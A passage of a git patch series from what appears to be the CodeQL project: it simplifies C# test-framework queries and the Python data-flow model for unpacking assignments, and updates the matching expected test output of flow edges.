MyTestSuite | +| XUnit.cs:22:11:22:21 | MyTestSuite | +| nunit.cs:75:11:75:21 | MyTestSuite | +testMethod +| VisualStudio.cs:12:21:12:25 | Test1 | +| VisualStudio.cs:17:21:17:25 | Test2 | +| XUnit.cs:25:21:25:25 | Test1 | +| XUnit.cs:30:21:30:25 | Test2 | +| nunit.cs:85:21:85:25 | Test1 | +| nunit.cs:90:21:90:25 | Test2 | +| nunit.cs:95:21:95:25 | Test3 | +| nunit.cs:100:21:100:25 | Test4 | +| nunit.cs:105:21:105:25 | Test5 | diff --git a/csharp/ql/test/library-tests/frameworks/test/Test.ql b/csharp/ql/test/library-tests/frameworks/test/Test.ql index 0288245f7c1..faa71788c7e 100644 --- a/csharp/ql/test/library-tests/frameworks/test/Test.ql +++ b/csharp/ql/test/library-tests/frameworks/test/Test.ql @@ -1,18 +1,6 @@ import csharp import semmle.code.csharp.frameworks.Test -from Element e, string type, string framework -where - ( - framework = e.(TestClass).getAQlClass() and type = "TestClass" - or - framework = e.(TestMethod).getAQlClass() and type = "TestMethod" - ) and - not framework = "NonNestedType" and - not framework = "UnboundDeclarationType" and - not framework = "SourceDeclarationCallable" and - not framework = "SourceDeclarationMethod" and - not framework = "NonConstructedMethod" and - not framework = "RuntimeInstanceMethod" and - not framework = "SummarizableMethod" -select e, type, framework +query predicate testClass(TestClass c) { any() } + +query predicate testMethod(TestMethod m) { any() } diff --git a/csharp/ql/test/library-tests/generics/ConsistencyChecks.ql b/csharp/ql/test/library-tests/generics/ConsistencyChecks.ql index 83f2597f856..def07f2c435 100644 --- a/csharp/ql/test/library-tests/generics/ConsistencyChecks.ql +++ b/csharp/ql/test/library-tests/generics/ConsistencyChecks.ql @@ -6,4 +6,4 @@ import semmle.code.csharp.commons.ConsistencyChecks from Element e, string m where consistencyFailure(e, m) -select e, "Element class " + e.getAQlClass() + " has consistency check failed: " + m +select e, "Element class " + e.getAPrimaryQlClass() + " has consistency check failed: " + m From 0d20a4cb4acc5bf8cec9bac0a20efebb90d0edd8 Mon Sep 17 00:00:00 2001 From: Rasmus Lerchedahl Petersen <yoff@github.com> Date: Fri, 22 Jan 2021 19:40:34 +0100 Subject: [PATCH 0781/1241] Python: Simplify modelling --- .../dataflow/new/internal/DataFlowPrivate.qll | 107 ++-- .../dataflow/coverage/dataflow.expected | 484 +++++++++--------- .../experimental/dataflow/coverage/test.py | 15 +- 3 files changed, 311 insertions(+), 295 deletions(-) diff --git a/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPrivate.qll b/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPrivate.qll index fa4c9549346..8ab0f65f298 100644 --- a/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPrivate.qll +++ b/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPrivate.qll @@ -1023,57 +1023,61 @@ predicate subscriptReadStep(CfgNode nodeFrom, Content c, CfgNode nodeTo) { * sequence = iterable * ``` * where `sequence` is either a tuple or a list and it can contain wildcards. - * The iterable can be any iterable, which means that (CodeQL modeling of) content will need to change type - * if it should be transferred from the LHS to the RHS. + * The iterable can be any iterable, which means that (CodeQL modeling of) content + * will need to change type if it should be transferred from the LHS to the RHS. + * + * Note that (CodeQL modeling of) content does not have to change type on data-flow + * path _inside_ the LHS, as the different allowed syntaxes here are merely a convenience. + * Consequently, we model all LHS sequences as tuples, which have the more precise content + * model, making flow to the elements more precise. If an element is a starred varibale, + * we will have to mutate the content type to be list content. * * We may for instance have * ```python - * (a, b) = ["a", "tainted string"] # RHS has content `ListElementContent` + * (a, b) = ["a", SOURCE] # RHS has content `ListElementContent` * ``` - * Due to the abstraction for list content, we do not know whether `"tainted string"` + * Due to the abstraction for list content, we do not know whether `SOURCE` * ends up in `a` or in `b`, so we want to overapproximate and see it in both. * * Using wildcards we may have * ```python - * (a, *b) = ("a", "b", "tainted string") # RHS has content `TupleElementContent(2)` + * (a, *b) = ("a", "b", SOURCE) # RHS has content `TupleElementContent(2)` * ``` - * Since the starred variables are always assigned type list, `*b` will be - * `["b", "tainted string]`, and we will again overapproximate and assign it + * Since the starred variables are always assigned (Python-)type list, `*b` will be + * `["b", SOURCE]`, and we will again overapproximate and assign it * content corresponding to anything found in the RHS. * * For a precise transfer * ```python - * (a, b) = ("a", "tainted string") # RHS has content `TupleElementContent(1)` + * (a, b) = ("a", SOURCE) # RHS has content `TupleElementContent(1)` * ``` * we wish to keep the precision, so only `b` receives the tuple content at index 1. * * Finally, `sequence` is actually a pattern and can have a more complicated structure, * such as * ```python - * (a, [b, *c]) = ("a", ("tainted string", "c")) # RHS has content `TupleElementContent(1); TupleElementContent(0)` + * (a, [b, *c]) = ("a", ["b", SOURCE]) # RHS has content `TupleElementContent(1); ListElementContent` * ``` - * where `a` should not receive content, but `b` and `c` should. `c` will be `["c"]` so + * where `a` should not receive content, but `b` and `c` should. `c` will be `[SOURCE]` so * should have the content converted and transferred, while `b` should read it. * * The strategy for converting content type is to break the transfer up into a read step * and a store step, together creating a converting transfer step. * For this we need a synthetic node in the middle, which we call `TIterableElement(receiver)`. - * It is associated with the receiver of the transfer, because we know the receiver type from the syntax. + * It is associated with the receiver of the transfer, because we know the receiver type (tuple) from the syntax. * Since we sometimes need a converting read step (in the example above, `[b, *c]` reads the content - * `TupleElementContent(0)` but should have content `ListElementContent`), we actually need a second synthetic node. - * A converting read step is a read step followed by a converting transfer. + * `ListElementContent` but should have content `TupleElementContent(0)` and `TupleElementContent(0)`), + * we actually need a second synthetic node. A converting read step is a read step followed by a + * converting transfer. + * * We can have a uniform treatment by always having two synthetic nodes and so we can view it as * two stages of the same node. So we read into (or transfer to) `TIterableSequence(receiver)`, * from which we take a read step to `TIterableElement(receiver)` and then a store step to `receiver`. + * * In order to preserve precise content, we also take a flow step from `TIterableSequence(receiver)` * directly to `receiver`. * - * The strategy is then via several read-, store-, and flow steps, illustrated on the assignment - * - * ```python - * (a, [b, *c]) = ["a", [SOURCE]] - * ``` - * + * The strategy is then via several read-, store-, and flow steps: * 1. [Flow] Content is transferred from `iterable` to `TIterableSequence(sequence)` via a * flow step. From here, everything happens on the LHS. * @@ -1081,13 +1085,15 @@ predicate subscriptReadStep(CfgNode nodeFrom, Content c, CfgNode nodeTo) { * flow step. * * 3. [Read] Content is read from `TIterableSequence(sequence)` into `TIterableElement(sequence)`. - * If `sequence` is of type tuple, we will not read tuple content as that would allow + * As `sequence` is modelled as a tuple, we will not read tuple content as that would allow * cross talk. * * 4. [Store] Content is stored from `TIterableElement(sequence)` to `sequence`. - * Here the content type is chosen according to the type of sequence. + * Content type is `TupleElementContent` with indices taken from the syntax. + * For instance, if `sequence` is `(a, *b, c)`, content is written to index 0, 1, and 2. + * This is adequate as the route through `TIterableElement(sequence)` does not transfer precise content. * - * 5. [Read] Content is read from `sequence` to its elements according to the type of `sequence`. + * 5. [Read] Content is read from `sequence` to its elements. * a) If the element is a plain variable, the target is the corresponding essa node. * * b) If the element is itelf a sequence, with control-flow node `seq`, the target is `TIterableSequence(seq)`. @@ -1130,7 +1136,7 @@ predicate subscriptReadStep(CfgNode nodeFrom, Content c, CfgNode nodeTo) { * * --Step 4--> * - * `[b, *c]`: [ListElementContent] + * `[b, *c]`: [TupleElementContent(1)] * * --Step 5c--> * @@ -1185,7 +1191,7 @@ module UnpackingAssignment { /** * Step 3 * Data flows from `TIterableSequence(sequence)` into `TIterableElement(sequence)`. - * If `sequence` is of type tuple, we will not read tuple content as that would allow + * As `sequence` is modelled as a tuple, we will not read tuple content as that would allow * cross talk. */ predicate unpackingAssignmentConvertingReadStep(Node nodeFrom, Content c, Node nodeTo) { @@ -1196,13 +1202,6 @@ module UnpackingAssignment { c instanceof ListElementContent or c instanceof SetElementContent - or - // do not lose precision by routing tuple content through the `IterableElement` - not target instanceof TupleNode and - // `index` refers to `nodeFrom`, but only the ones in `target` are relevant. - exists(int index | exists(target.getElement(index)) | - c.(TupleElementContent).getIndex() = index - ) // TODO: dict content in iterable unpacking not handled ) ) @@ -1211,20 +1210,15 @@ module UnpackingAssignment { /** * Step 4 * Data flows from `TIterableElement(sequence)` to `sequence`. - * The content type is chosen according to the type of sequence. + * Content type is `TupleElementContent` with indices taken from the syntax. + * For instance, if `sequence` is `(a, *b, c)`, content is written to index 0, 1, and 2. */ predicate unpackingAssignmentConvertingStoreStep(Node nodeFrom, Content c, Node nodeTo) { exists(UnpackingAssignmentSequenceTarget target | nodeFrom = TIterableElementNode(target) and nodeTo.asCfgNode() = target and - ( - target instanceof ListNode and - c instanceof ListElementContent - or - target instanceof TupleNode and - exists(int index | exists(target.getElement(index)) | - c.(TupleElementContent).getIndex() = index - ) + exists(int index | exists(target.getElement(index)) | + c.(TupleElementContent).getIndex() = index ) ) } @@ -1241,36 +1235,37 @@ module UnpackingAssignment { */ predicate unpackingAssignmentElementReadStep(Node nodeFrom, Content c, Node nodeTo) { exists( - UnpackingAssignmentSequenceTarget target, int index, ControlFlowNode element, boolean precise + UnpackingAssignmentSequenceTarget target, int index, ControlFlowNode element, int starIndex + | + target.getElement(starIndex) instanceof StarredNode + or + not exists(target.getAnElement().(StarredNode)) and + starIndex = -1 | nodeFrom.asCfgNode() = target and element = target.getElement(index) and ( - target instanceof ListNode and - c instanceof ListElementContent - or - target instanceof TupleNode and - if precise = true + if starIndex = -1 or index < starIndex then c.(TupleElementContent).getIndex() = index - else c instanceof TupleElementContent // This could get big if big tuples exist + else + // This could get big if big tuples exist + if index = starIndex + then c.(TupleElementContent).getIndex() >= index + else c.(TupleElementContent).getIndex() >= index - 1 ) and ( if element instanceof SequenceNode then // Step 5b - nodeTo = TIterableSequenceNode(element) and - precise = true + nodeTo = TIterableSequenceNode(element) else - if element.getNode() instanceof Starred + if element instanceof StarredNode then // Step 5c - nodeTo = TIterableElementNode(element) and - precise = false - else ( + nodeTo = TIterableElementNode(element) + else // Step 5a - nodeTo.asVar().getDefinition().(MultiAssignmentDefinition).getDefiningNode() = element and - precise = true - ) + nodeTo.asVar().getDefinition().(MultiAssignmentDefinition).getDefiningNode() = element ) ) } diff --git a/python/ql/test/experimental/dataflow/coverage/dataflow.expected b/python/ql/test/experimental/dataflow/coverage/dataflow.expected index 684155fe111..ef7ebb797cd 100644 --- a/python/ql/test/experimental/dataflow/coverage/dataflow.expected +++ b/python/ql/test/experimental/dataflow/coverage/dataflow.expected @@ -144,20 +144,17 @@ edges | test.py:551:11:551:20 | ControlFlowNode for List [List element, List element] | test.py:551:10:551:21 | ControlFlowNode for List [List element, List element, List element] | | test.py:551:12:551:19 | ControlFlowNode for List [List element] | test.py:551:11:551:20 | ControlFlowNode for List [List element, List element] | | test.py:551:13:551:18 | ControlFlowNode for SOURCE | test.py:551:12:551:19 | ControlFlowNode for List [List element] | -| test.py:552:5:552:11 | ControlFlowNode for List [List element, List element, List element] | test.py:552:6:552:10 | IterableSequence [List element, List element] | -| test.py:552:5:552:11 | IterableElement [List element, List element] | test.py:552:5:552:11 | ControlFlowNode for List [List element, List element, List element] | -| test.py:552:5:552:11 | IterableSequence [List element, List element, List element] | test.py:552:5:552:11 | ControlFlowNode for List [List element, List element, List element] | +| test.py:552:5:552:11 | ControlFlowNode for List [Tuple element at index 0, List element, List element] | test.py:552:6:552:10 | IterableSequence [List element, List element] | +| test.py:552:5:552:11 | IterableElement [List element, List element] | test.py:552:5:552:11 | ControlFlowNode for List [Tuple element at index 0, List element, List element] | | test.py:552:5:552:11 | IterableSequence [List element, List element, List element] | test.py:552:5:552:11 | IterableElement [List element, List element] | | test.py:552:5:552:14 | ControlFlowNode for Tuple [Tuple element at index 0, List element, List element, List element] | test.py:552:5:552:11 | IterableSequence [List element, List element, List element] | | test.py:552:5:552:14 | IterableElement [List element, List element, List element] | test.py:552:5:552:14 | ControlFlowNode for Tuple [Tuple element at index 0, List element, List element, List element] | | test.py:552:5:552:14 | IterableSequence [List element, List element, List element, List element] | test.py:552:5:552:14 | IterableElement [List element, List element, List element] | -| test.py:552:6:552:10 | ControlFlowNode for List [List element, List element] | test.py:552:7:552:9 | IterableSequence [List element] | -| test.py:552:6:552:10 | IterableElement [List element] | test.py:552:6:552:10 | ControlFlowNode for List [List element, List element] | -| test.py:552:6:552:10 | IterableSequence [List element, List element] | test.py:552:6:552:10 | ControlFlowNode for List [List element, List element] | +| test.py:552:6:552:10 | ControlFlowNode for List [Tuple element at index 0, List element] | test.py:552:7:552:9 | IterableSequence [List element] | +| test.py:552:6:552:10 | IterableElement [List element] | test.py:552:6:552:10 | ControlFlowNode for List [Tuple element at index 0, List element] | | test.py:552:6:552:10 | IterableSequence [List element, List element] | test.py:552:6:552:10 | IterableElement [List element] | -| test.py:552:7:552:9 | ControlFlowNode for List [List element] | test.py:552:8:552:8 | SSA variable a | -| test.py:552:7:552:9 | IterableElement | test.py:552:7:552:9 | ControlFlowNode for List [List element] | -| test.py:552:7:552:9 | IterableSequence [List element] | test.py:552:7:552:9 | ControlFlowNode for List [List element] | +| test.py:552:7:552:9 | ControlFlowNode for List [Tuple element at index 0] | test.py:552:8:552:8 | SSA variable a | +| test.py:552:7:552:9 | IterableElement | test.py:552:7:552:9 | ControlFlowNode for List [Tuple element at index 0] | | test.py:552:7:552:9 | IterableSequence [List element] | test.py:552:7:552:9 | IterableElement | | test.py:552:8:552:8 | SSA variable a | test.py:553:10:553:10 | ControlFlowNode for a | | test.py:559:10:559:15 | ControlFlowNode for SOURCE | test.py:559:10:559:34 | ControlFlowNode for Tuple [Tuple element at index 0] | @@ -166,103 +163,95 @@ edges | test.py:559:18:559:23 | ControlFlowNode for SOURCE | test.py:559:10:559:34 | ControlFlowNode for Tuple [Tuple element at index 1] | | test.py:560:5:560:5 | SSA variable a | test.py:561:10:561:10 | ControlFlowNode for a | | test.py:560:5:560:12 | ControlFlowNode for Tuple [Tuple element at index 0] | test.py:560:5:560:5 | SSA variable a | -| test.py:560:5:560:12 | ControlFlowNode for Tuple [Tuple element at index 0] | test.py:560:8:560:9 | IterableElement | | test.py:560:5:560:12 | ControlFlowNode for Tuple [Tuple element at index 1] | test.py:560:8:560:9 | IterableElement | +| test.py:560:5:560:12 | ControlFlowNode for Tuple [Tuple element at index 1] | test.py:560:12:560:12 | SSA variable c | | test.py:560:8:560:9 | IterableElement | test.py:560:8:560:9 | SSA variable b [List element] | | test.py:560:8:560:9 | SSA variable b [List element] | test.py:563:10:563:10 | ControlFlowNode for b [List element] | +| test.py:560:12:560:12 | SSA variable c | test.py:564:12:564:12 | ControlFlowNode for c | | test.py:563:10:563:10 | ControlFlowNode for b [List element] | test.py:563:10:563:13 | ControlFlowNode for Subscript | -| test.py:569:10:569:61 | ControlFlowNode for List [List element, List element] | test.py:572:6:572:23 | IterableSequence [List element, List element] | -| test.py:569:10:569:61 | ControlFlowNode for List [List element, List element] | test.py:580:5:580:24 | ControlFlowNode for List [List element, List element] | -| test.py:569:10:569:61 | ControlFlowNode for List [List element, List element] | test.py:580:5:580:24 | IterableSequence [List element, List element] | -| test.py:569:10:569:61 | ControlFlowNode for List [List element, List element] | test.py:588:6:588:23 | IterableSequence [List element, List element] | -| test.py:569:11:569:37 | ControlFlowNode for List [List element] | test.py:569:10:569:61 | ControlFlowNode for List [List element, List element] | -| test.py:569:12:569:17 | ControlFlowNode for SOURCE | test.py:569:11:569:37 | ControlFlowNode for List [List element] | -| test.py:569:31:569:36 | ControlFlowNode for SOURCE | test.py:569:11:569:37 | ControlFlowNode for List [List element] | -| test.py:569:40:569:47 | ControlFlowNode for List [List element] | test.py:569:10:569:61 | ControlFlowNode for List [List element, List element] | -| test.py:569:41:569:46 | ControlFlowNode for SOURCE | test.py:569:40:569:47 | ControlFlowNode for List [List element] | -| test.py:572:6:572:23 | ControlFlowNode for Tuple [Tuple element at index 0, List element] | test.py:572:7:572:16 | IterableSequence [List element] | -| test.py:572:6:572:23 | IterableElement [List element] | test.py:572:6:572:23 | ControlFlowNode for Tuple [Tuple element at index 0, List element] | -| test.py:572:6:572:23 | IterableSequence [List element, List element] | test.py:572:6:572:23 | IterableElement [List element] | -| test.py:572:7:572:8 | SSA variable a1 | test.py:573:10:573:11 | ControlFlowNode for a1 | -| test.py:572:7:572:16 | ControlFlowNode for Tuple [Tuple element at index 0] | test.py:572:7:572:8 | SSA variable a1 | -| test.py:572:7:572:16 | ControlFlowNode for Tuple [Tuple element at index 1] | test.py:572:11:572:12 | SSA variable a2 | -| test.py:572:7:572:16 | ControlFlowNode for Tuple [Tuple element at index 2] | test.py:572:15:572:16 | SSA variable a3 | -| test.py:572:7:572:16 | IterableElement | test.py:572:7:572:16 | ControlFlowNode for Tuple [Tuple element at index 0] | -| test.py:572:7:572:16 | IterableElement | test.py:572:7:572:16 | ControlFlowNode for Tuple [Tuple element at index 1] | -| test.py:572:7:572:16 | IterableElement | test.py:572:7:572:16 | ControlFlowNode for Tuple [Tuple element at index 2] | -| test.py:572:7:572:16 | IterableSequence [List element] | test.py:572:7:572:16 | IterableElement | -| test.py:572:11:572:12 | SSA variable a2 | test.py:574:12:574:13 | ControlFlowNode for a2 | -| test.py:572:15:572:16 | SSA variable a3 | test.py:575:10:575:11 | ControlFlowNode for a3 | -| test.py:580:5:580:24 | ControlFlowNode for List [List element, List element] | test.py:580:7:580:16 | IterableSequence [List element] | -| test.py:580:5:580:24 | IterableElement [List element] | test.py:580:5:580:24 | ControlFlowNode for List [List element, List element] | -| test.py:580:5:580:24 | IterableSequence [List element, List element] | test.py:580:5:580:24 | IterableElement [List element] | -| test.py:580:7:580:8 | SSA variable a1 | test.py:581:10:581:11 | ControlFlowNode for a1 | -| test.py:580:7:580:16 | ControlFlowNode for Tuple [Tuple element at index 0] | test.py:580:7:580:8 | SSA variable a1 | -| test.py:580:7:580:16 | ControlFlowNode for Tuple [Tuple element at index 1] | test.py:580:11:580:12 | SSA variable a2 | -| test.py:580:7:580:16 | ControlFlowNode for Tuple [Tuple element at index 2] | test.py:580:15:580:16 | SSA variable a3 | -| test.py:580:7:580:16 | IterableElement | test.py:580:7:580:16 | ControlFlowNode for Tuple [Tuple element at index 0] | -| test.py:580:7:580:16 | IterableElement | test.py:580:7:580:16 | ControlFlowNode for Tuple [Tuple element at index 1] | -| test.py:580:7:580:16 | IterableElement | test.py:580:7:580:16 | ControlFlowNode for Tuple [Tuple element at index 2] | -| test.py:580:7:580:16 | IterableSequence [List element] | test.py:580:7:580:16 | IterableElement | -| test.py:580:11:580:12 | SSA variable a2 | test.py:582:12:582:13 | ControlFlowNode for a2 | -| test.py:580:15:580:16 | SSA variable a3 | test.py:583:10:583:11 | ControlFlowNode for a3 | -| test.py:588:6:588:17 | ControlFlowNode for List [List element] | test.py:588:7:588:8 | SSA variable a1 | -| test.py:588:6:588:17 | ControlFlowNode for List [List element] | test.py:588:11:588:12 | SSA variable a2 | -| test.py:588:6:588:17 | ControlFlowNode for List [List element] | test.py:588:15:588:16 | SSA variable a3 | -| test.py:588:6:588:17 | IterableElement | test.py:588:6:588:17 | ControlFlowNode for List [List element] | -| test.py:588:6:588:17 | IterableSequence [List element] | test.py:588:6:588:17 | ControlFlowNode for List [List element] | -| test.py:588:6:588:17 | IterableSequence [List element] | test.py:588:6:588:17 | IterableElement | -| test.py:588:6:588:23 | ControlFlowNode for Tuple [Tuple element at index 0, List element] | test.py:588:6:588:17 | IterableSequence [List element] | -| test.py:588:6:588:23 | IterableElement [List element] | test.py:588:6:588:23 | ControlFlowNode for Tuple [Tuple element at index 0, List element] | -| test.py:588:6:588:23 | IterableSequence [List element, List element] | test.py:588:6:588:23 | IterableElement [List element] | -| test.py:588:7:588:8 | SSA variable a1 | test.py:589:10:589:11 | ControlFlowNode for a1 | -| test.py:588:11:588:12 | SSA variable a2 | test.py:590:12:590:13 | ControlFlowNode for a2 | -| test.py:588:15:588:16 | SSA variable a3 | test.py:591:10:591:11 | ControlFlowNode for a3 | -| test.py:597:11:597:47 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | test.py:600:5:600:19 | IterableSequence [Tuple element at index 0, Tuple element at index 0] | -| test.py:597:11:597:47 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | test.py:609:6:609:18 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | -| test.py:597:11:597:47 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | test.py:618:5:618:19 | IterableSequence [Tuple element at index 0, Tuple element at index 0] | -| test.py:597:11:597:47 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | test.py:627:6:627:18 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | -| test.py:597:11:597:47 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 2] | test.py:609:6:609:18 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 2] | -| test.py:597:11:597:47 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 2] | test.py:618:5:618:19 | IterableSequence [Tuple element at index 0, Tuple element at index 2] | -| test.py:597:12:597:17 | ControlFlowNode for SOURCE | test.py:597:12:597:36 | ControlFlowNode for Tuple [Tuple element at index 0] | -| test.py:597:12:597:36 | ControlFlowNode for Tuple [Tuple element at index 0] | test.py:597:11:597:47 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | -| test.py:597:12:597:36 | ControlFlowNode for Tuple [Tuple element at index 2] | test.py:597:11:597:47 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 2] | -| test.py:597:31:597:36 | ControlFlowNode for SOURCE | test.py:597:12:597:36 | ControlFlowNode for Tuple [Tuple element at index 2] | -| test.py:600:5:600:19 | ControlFlowNode for List [List element, Tuple element at index 0] | test.py:600:6:600:14 | IterableSequence [Tuple element at index 0] | -| test.py:600:5:600:19 | IterableElement [Tuple element at index 0] | test.py:600:5:600:19 | ControlFlowNode for List [List element, Tuple element at index 0] | -| test.py:600:5:600:19 | IterableSequence [Tuple element at index 0, Tuple element at index 0] | test.py:600:5:600:19 | IterableElement [Tuple element at index 0] | -| test.py:600:6:600:14 | ControlFlowNode for List [List element] | test.py:600:7:600:8 | SSA variable a1 | -| test.py:600:6:600:14 | ControlFlowNode for List [List element] | test.py:600:11:600:13 | IterableElement | -| test.py:600:6:600:14 | IterableElement | test.py:600:6:600:14 | ControlFlowNode for List [List element] | -| test.py:600:6:600:14 | IterableSequence [Tuple element at index 0] | test.py:600:6:600:14 | IterableElement | -| test.py:600:7:600:8 | SSA variable a1 | test.py:601:10:601:11 | ControlFlowNode for a1 | -| test.py:600:11:600:13 | IterableElement | test.py:600:11:600:13 | SSA variable a2 [List element] | -| test.py:600:11:600:13 | SSA variable a2 [List element] | test.py:603:12:603:13 | ControlFlowNode for a2 [List element] | -| test.py:600:11:600:13 | SSA variable a2 [List element] | test.py:604:10:604:11 | ControlFlowNode for a2 [List element] | -| test.py:603:12:603:13 | ControlFlowNode for a2 [List element] | test.py:603:12:603:16 | ControlFlowNode for Subscript | -| test.py:604:10:604:11 | ControlFlowNode for a2 [List element] | test.py:604:10:604:14 | ControlFlowNode for Subscript | -| test.py:609:6:609:18 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | test.py:609:7:609:13 | IterableSequence [Tuple element at index 0] | -| test.py:609:6:609:18 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 2] | test.py:609:7:609:13 | IterableSequence [Tuple element at index 2] | +| test.py:569:10:569:15 | ControlFlowNode for SOURCE | test.py:569:10:569:23 | ControlFlowNode for Tuple [Tuple element at index 0] | +| test.py:569:10:569:23 | ControlFlowNode for Tuple [Tuple element at index 0] | test.py:570:5:570:12 | ControlFlowNode for Tuple [Tuple element at index 0] | +| test.py:569:10:569:23 | ControlFlowNode for Tuple [Tuple element at index 1] | test.py:570:5:570:12 | ControlFlowNode for Tuple [Tuple element at index 1] | +| test.py:569:18:569:23 | ControlFlowNode for SOURCE | test.py:569:10:569:23 | ControlFlowNode for Tuple [Tuple element at index 1] | +| test.py:570:5:570:5 | SSA variable a | test.py:571:10:571:10 | ControlFlowNode for a | +| test.py:570:5:570:12 | ControlFlowNode for Tuple [Tuple element at index 0] | test.py:570:5:570:5 | SSA variable a | +| test.py:570:5:570:12 | ControlFlowNode for Tuple [Tuple element at index 1] | test.py:570:12:570:12 | SSA variable c | +| test.py:570:12:570:12 | SSA variable c | test.py:573:10:573:10 | ControlFlowNode for c | +| test.py:578:10:578:61 | ControlFlowNode for List [List element, List element] | test.py:581:6:581:23 | IterableSequence [List element, List element] | +| test.py:578:10:578:61 | ControlFlowNode for List [List element, List element] | test.py:589:5:589:24 | IterableSequence [List element, List element] | +| test.py:578:10:578:61 | ControlFlowNode for List [List element, List element] | test.py:597:6:597:23 | IterableSequence [List element, List element] | +| test.py:578:11:578:37 | ControlFlowNode for List [List element] | test.py:578:10:578:61 | ControlFlowNode for List [List element, List element] | +| test.py:578:12:578:17 | ControlFlowNode for SOURCE | test.py:578:11:578:37 | ControlFlowNode for List [List element] | +| test.py:578:31:578:36 | ControlFlowNode for SOURCE | test.py:578:11:578:37 | ControlFlowNode for List [List element] | +| test.py:578:40:578:47 | ControlFlowNode for List [List element] | test.py:578:10:578:61 | ControlFlowNode for List [List element, List element] | +| test.py:578:41:578:46 | ControlFlowNode for SOURCE | test.py:578:40:578:47 | ControlFlowNode for List [List element] | +| test.py:581:6:581:23 | ControlFlowNode for Tuple [Tuple element at index 0, List element] | test.py:581:7:581:16 | IterableSequence [List element] | +| test.py:581:6:581:23 | IterableElement [List element] | test.py:581:6:581:23 | ControlFlowNode for Tuple [Tuple element at index 0, List element] | +| test.py:581:6:581:23 | IterableSequence [List element, List element] | test.py:581:6:581:23 | IterableElement [List element] | +| test.py:581:7:581:8 | SSA variable a1 | test.py:582:10:582:11 | ControlFlowNode for a1 | +| test.py:581:7:581:16 | ControlFlowNode for Tuple [Tuple element at index 0] | test.py:581:7:581:8 | SSA variable a1 | +| test.py:581:7:581:16 | ControlFlowNode for Tuple [Tuple element at index 1] | test.py:581:11:581:12 | SSA variable a2 | +| test.py:581:7:581:16 | ControlFlowNode for Tuple [Tuple element at index 2] | test.py:581:15:581:16 | SSA variable a3 | +| test.py:581:7:581:16 | IterableElement | test.py:581:7:581:16 | ControlFlowNode for Tuple [Tuple element at index 0] | +| test.py:581:7:581:16 | IterableElement | test.py:581:7:581:16 | ControlFlowNode for Tuple [Tuple element at index 1] | +| test.py:581:7:581:16 | IterableElement | test.py:581:7:581:16 | ControlFlowNode for Tuple [Tuple element at index 2] | +| test.py:581:7:581:16 | IterableSequence [List element] | test.py:581:7:581:16 | IterableElement | +| test.py:581:11:581:12 | SSA variable a2 | test.py:583:12:583:13 | ControlFlowNode for a2 | +| test.py:581:15:581:16 | SSA variable a3 | test.py:584:10:584:11 | ControlFlowNode for a3 | +| test.py:589:5:589:24 | ControlFlowNode for List [Tuple element at index 0, List element] | test.py:589:7:589:16 | IterableSequence [List element] | +| test.py:589:5:589:24 | IterableElement [List element] | test.py:589:5:589:24 | ControlFlowNode for List [Tuple element at index 0, List element] | +| test.py:589:5:589:24 | IterableSequence [List element, List element] | test.py:589:5:589:24 | IterableElement [List element] | +| test.py:589:7:589:8 | SSA variable a1 | test.py:590:10:590:11 | ControlFlowNode for a1 | +| test.py:589:7:589:16 | ControlFlowNode for Tuple [Tuple element at index 0] | test.py:589:7:589:8 | SSA variable a1 | +| test.py:589:7:589:16 | ControlFlowNode for Tuple [Tuple element at index 1] | test.py:589:11:589:12 | SSA variable a2 | +| test.py:589:7:589:16 | ControlFlowNode for Tuple [Tuple element at index 2] | test.py:589:15:589:16 | SSA variable a3 | +| test.py:589:7:589:16 | IterableElement | test.py:589:7:589:16 | ControlFlowNode for Tuple [Tuple element at index 0] | +| test.py:589:7:589:16 | IterableElement | test.py:589:7:589:16 | ControlFlowNode for Tuple [Tuple element at index 1] | +| test.py:589:7:589:16 | IterableElement | test.py:589:7:589:16 | ControlFlowNode for Tuple [Tuple element at index 2] | +| test.py:589:7:589:16 | IterableSequence [List element] | test.py:589:7:589:16 | IterableElement | +| test.py:589:11:589:12 | SSA variable a2 | test.py:591:12:591:13 | ControlFlowNode for a2 | +| test.py:589:15:589:16 | SSA variable a3 | test.py:592:10:592:11 | ControlFlowNode for a3 | +| test.py:597:6:597:17 | ControlFlowNode for List [Tuple element at index 0] | test.py:597:7:597:8 | SSA variable a1 | +| test.py:597:6:597:17 | ControlFlowNode for List [Tuple element at index 1] | test.py:597:11:597:12 | SSA variable a2 | +| test.py:597:6:597:17 | ControlFlowNode for List [Tuple element at index 2] | test.py:597:15:597:16 | SSA variable a3 | +| test.py:597:6:597:17 | IterableElement | test.py:597:6:597:17 | ControlFlowNode for List [Tuple element at index 0] | +| test.py:597:6:597:17 | IterableElement | test.py:597:6:597:17 | ControlFlowNode for List [Tuple element at index 1] | +| test.py:597:6:597:17 | IterableElement | test.py:597:6:597:17 | ControlFlowNode for List [Tuple element at index 2] | +| test.py:597:6:597:17 | IterableSequence [List element] | test.py:597:6:597:17 | IterableElement | +| test.py:597:6:597:23 | ControlFlowNode for Tuple [Tuple element at index 0, List element] | test.py:597:6:597:17 | IterableSequence [List element] | +| test.py:597:6:597:23 | IterableElement [List element] | test.py:597:6:597:23 | ControlFlowNode for Tuple [Tuple element at index 0, List element] | +| test.py:597:6:597:23 | IterableSequence [List element, List element] | test.py:597:6:597:23 | IterableElement [List element] | +| test.py:597:7:597:8 | SSA variable a1 | test.py:598:10:598:11 | ControlFlowNode for a1 | +| test.py:597:11:597:12 | SSA variable a2 | test.py:599:12:599:13 | ControlFlowNode for a2 | +| test.py:597:15:597:16 | SSA variable a3 | test.py:600:10:600:11 | ControlFlowNode for a3 | +| 